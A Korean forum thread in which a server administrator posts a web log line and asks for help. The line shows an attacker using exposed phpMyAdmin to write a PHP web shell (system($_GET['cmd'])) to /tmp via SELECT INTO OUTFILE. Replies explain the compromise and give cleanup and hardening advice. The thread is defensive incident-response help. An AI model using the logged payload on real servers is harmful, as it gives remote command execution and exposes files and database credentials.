112.219.92.82 - - [24/Mar/2012:01:01:42 +0900] "GET /phpmyadmin/main.php?reload=1&sql_query=select+%27%3C%3Fphp+echo+%5C%27%3Cpre%3E%5C%27%3Bsystem%28%24_GET%5B%5C%27cmd%5C%27%5D%29%3B+echo+%5C%27%3C%2Fpre%3E%5C%27%3B+%3F%3E%27+INTO+OUTFILE+%27%2Ftmp%2F.a%27&token=6447c5d6e0ef4ea9a5807a9cdf775021 HTTP/1.1" 200 7428 "도메인/util/phpmyadmin/server_sql.php?token=6447c5d6e0ef4ea9a5807a9cdf775021" "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.26) Gecko/20120128 Firefox/3.6.26"
위와같이 웹로그가 다수 발견되었는데요
phpmyadmin 소스 파일을 웹에서 다운받을수 있게 리스트 보이게 해둿엇는데 그경로 뒤에 이런식으로 쿼리를 남겼네요.. 굵게 표시해놓은 .a 파일이 /tmp 디렉토리에서 발견되었구요..
인젝션이나 그런형태 인건가요?
아이피 변조해서 무수히 많은 로그가 생성되었습니다 ㅠㅠ
zh-CN이건 중국이라는거같기도 하고 ㅠㅠ 조언바랍니다 ㅠㅠ 일단 그경로의 파일은 삭제햇습니다 ㅠㅠ
댓글 3개
13년 전
음....정확한건 들어가서 봐야겠지만......phpmyadmin 기본 로그가 저런식으로 남다보니...
별다른 의심점은 /tmp 에 파일이 생겼다라는건데....폴더명을 phpmysadmin 이런식으로 쓰는건
위험하구요...조치는 잘 취하신것 처럼보이네욤...
파일 삭제와 더불어 경로변경 , phpmyadmin 버전업 정도 조치 하시면 될듯 한데욤
별다른 의심점은 /tmp 에 파일이 생겼다라는건데....폴더명을 phpmysadmin 이런식으로 쓰는건
위험하구요...조치는 잘 취하신것 처럼보이네욤...
파일 삭제와 더불어 경로변경 , phpmyadmin 버전업 정도 조치 하시면 될듯 한데욤
xkingcode
13년 전
웹셀 업로드 맞네요. PHP로 보내는 명령을 바로 실행하는 PHP 파일을 만든겁니다.
일단 서버내에 파일은 다 털어갈 수 있는 상황이 되었고요.
(소스, db접속 계정 정보, DB 내용)
우선 기본적으로 비밀번호 변경하시고요.
가능한 업데이트 다 해주시고요.
웹셀 이후에 권한 탈취 시도까지는 없었던 것 같습니다만
좀비 PC 가능성도 높으니
ps aux 에서 이상한 프로세스 있으면 삭제해주세요
neststat -a 해서 정체모를 IP로부터 명령 받고있는건 없는지 확인하시고요.
phpmyadmin 경로 변경해서 다른 곳에서 쓰시고
phpmyadmin 최신 버전으로 다시 받으시고요.
MySQL은 해당 서버에서만 접근할 수 있게 IP제한 걸어주시고
PHPMyadmin도 IP 제한 걸면 좋고요.
가능하면 방화벽으로 오픈해야 하는 서비스만 오픈하심이 좋아보이십니다.
일단 서버내에 파일은 다 털어갈 수 있는 상황이 되었고요.
(소스, db접속 계정 정보, DB 내용)
우선 기본적으로 비밀번호 변경하시고요.
가능한 업데이트 다 해주시고요.
웹셀 이후에 권한 탈취 시도까지는 없었던 것 같습니다만
좀비 PC 가능성도 높으니
ps aux 에서 이상한 프로세스 있으면 삭제해주세요
neststat -a 해서 정체모를 IP로부터 명령 받고있는건 없는지 확인하시고요.
phpmyadmin 경로 변경해서 다른 곳에서 쓰시고
phpmyadmin 최신 버전으로 다시 받으시고요.
MySQL은 해당 서버에서만 접근할 수 있게 IP제한 걸어주시고
PHPMyadmin도 IP 제한 걸면 좋고요.
가능하면 방화벽으로 오픈해야 하는 서비스만 오픈하심이 좋아보이십니다.
13년 전
phpmyadmin 최신 버전으로 사용하는게 좋겠네요.
phpmyadmin 트래픽 공격도 발생하더군요.
phpmyadmin 트래픽 공격도 발생하더군요.
게시판 목록
프로그램
| 번호 | 제목 | 글쓴이 | 날짜 | 조회 |
|---|---|---|---|---|
| 4530 |
라이언31
|
13년 전 | 637 | |
| 4529 | 13년 전 | 796 | ||
| 4528 |
꼬꼬아부지
|
13년 전 | 1004 | |
| 4527 | 13년 전 | 612 | ||
| 4526 | 13년 전 | 695 | ||
| 4525 |
 똥싼너구리 |
13년 전 | 1016 | |
| 4524 | 13년 전 | 992 | ||
| 4523 | 13년 전 | 2289 | ||
| 4522 | 13년 전 | 612 | ||
| 4521 | 13년 전 | 1257 | ||
| 4520 | 13년 전 | 1551 | ||
| 4519 |
복이219
|
13년 전 | 1204 | |
| 4518 | 13년 전 | 494 | ||
| 4517 | 13년 전 | 1295 | ||
| 4516 |
아이피마스터
|
13년 전 | 551 | |
| 4515 | 13년 전 | 644 | ||
| 4514 | 13년 전 | 643 | ||
| 4513 | 13년 전 | 1070 | ||
| 4512 |
ananom
|
13년 전 | 4362 | |
| 4511 |
ananom
|
13년 전 | 1479 | |
| 4510 | 13년 전 | 1218 | ||
| 4509 | 13년 전 | 684 | ||
| 4508 | 13년 전 | 847 | ||
| 4507 | 13년 전 | 937 | ||
| 4506 | 13년 전 | 703 | ||
| 4505 | 13년 전 | 629 | ||
| 4504 | 13년 전 | 473 | ||
| 4503 | 13년 전 | 523 | ||
| 4502 |
 늘푸른세상 |
13년 전 | 1807 | |
| 4501 | 13년 전 | 1633 | ||
| 4500 |
 넓은마인드 |
13년 전 | 505 | |
| 4499 | 13년 전 | 1886 | ||
| 4498 | 13년 전 | 1152 | ||
| 4497 |
미션임파썩을
|
13년 전 | 889 | |
| 4496 | 13년 전 | 941 | ||
| 4495 |
공포의니이킥
|
13년 전 | 1109 | |
| 4494 | 13년 전 | 1978 | ||
| 4493 | 13년 전 | 1063 | ||
| 4492 | 13년 전 | 488 | ||
| 4491 |
두근두근따봉
|
13년 전 | 924 | |
| 4490 | 13년 전 | 1367 | ||
| 4489 |
jaein8060
|
13년 전 | 616 | |
| 4488 | 13년 전 | 1040 | ||
| 4487 |
ReeJang
|
13년 전 | 1820 | |
| 4486 | 13년 전 | 987 | ||
| 4485 | 13년 전 | 807 | ||
| 4484 | 13년 전 | 852 | ||
| 4483 | 13년 전 | 522 | ||
| 4482 | 13년 전 | 1179 | ||
| 4481 | 13년 전 | 1048 | ||
| 4480 |
넓은마인드 |
13년 전 | 521 | |
| 4479 | 13년 전 | 912 | ||
| 4478 | 13년 전 | 3964 | ||
| 4477 | 13년 전 | 987 | ||
| 4476 |
wangko
|
13년 전 | 2707 | |
| 4475 | 13년 전 | 928 | ||
| 4474 | 13년 전 | 956 | ||
| 4473 | 13년 전 | 758 | ||
| 4472 |
넓은마인드 |
13년 전 | 553 | |
| 4471 | 13년 전 | 1563 | ||
| 4470 | 13년 전 | 572 | ||
| 4469 | 13년 전 | 524 | ||
| 4468 | 13년 전 | 862 | ||
| 4467 | 13년 전 | 658 | ||
| 4466 | 13년 전 | 922 | ||
| 4465 | 13년 전 | 668 | ||
| 4464 | 13년 전 | 1719 | ||
| 4463 |
chongho
|
13년 전 | 2177 | |
| 4462 |
chongho
|
13년 전 | 1025 | |
| 4461 |
chongho
|
13년 전 | 1022 | |
| 4460 | 13년 전 | 754 | ||
| 4459 | 13년 전 | 2780 | ||
| 4458 | 13년 전 | 788 | ||
| 4457 | 13년 전 | 501 | ||
| 4456 | 13년 전 | 1333 | ||
| 4455 | 13년 전 | 1732 | ||
| 4454 | 13년 전 | 716 | ||
| 4453 | 13년 전 | 1253 | ||
| 4452 |
aequum
|
13년 전 | 1270 | |
| 4451 | 13년 전 | 1332 | ||
| 4450 |
도토리과자
|
13년 전 | 1431 | |
| 4449 | 13년 전 | 1092 | ||
| 4448 | 13년 전 | 8619 | ||
| 4447 | 13년 전 | 1204 | ||
| 4446 | 13년 전 | 1485 | ||
| 4445 | 13년 전 | 636 | ||
| 4444 |
넓은마인드 |
13년 전 | 609 | |
| 4443 | 13년 전 | 691 | ||
| 4442 |
Msoft
|
13년 전 | 1054 | |
| 4441 |
 매직크레용 |
13년 전 | 2103 | |
| 4440 | 13년 전 | 615 | ||
| 4439 | 13년 전 | 1654 | ||
| 4438 |
aequum
|
13년 전 | 1842 | |
| 4437 | 13년 전 | 987 | ||
| 4436 | 13년 전 | 921 | ||
| 4435 |
디귿소프트
|
13년 전 | 516 | |
| 4434 | 13년 전 | 1070 | ||
| 4433 | 13년 전 | 991 | ||
| 4432 | 13년 전 | 853 | ||
| 4431 | 13년 전 | 751 |
댓글 작성
댓글을 작성하시려면 로그인이 필요합니다.
로그인하기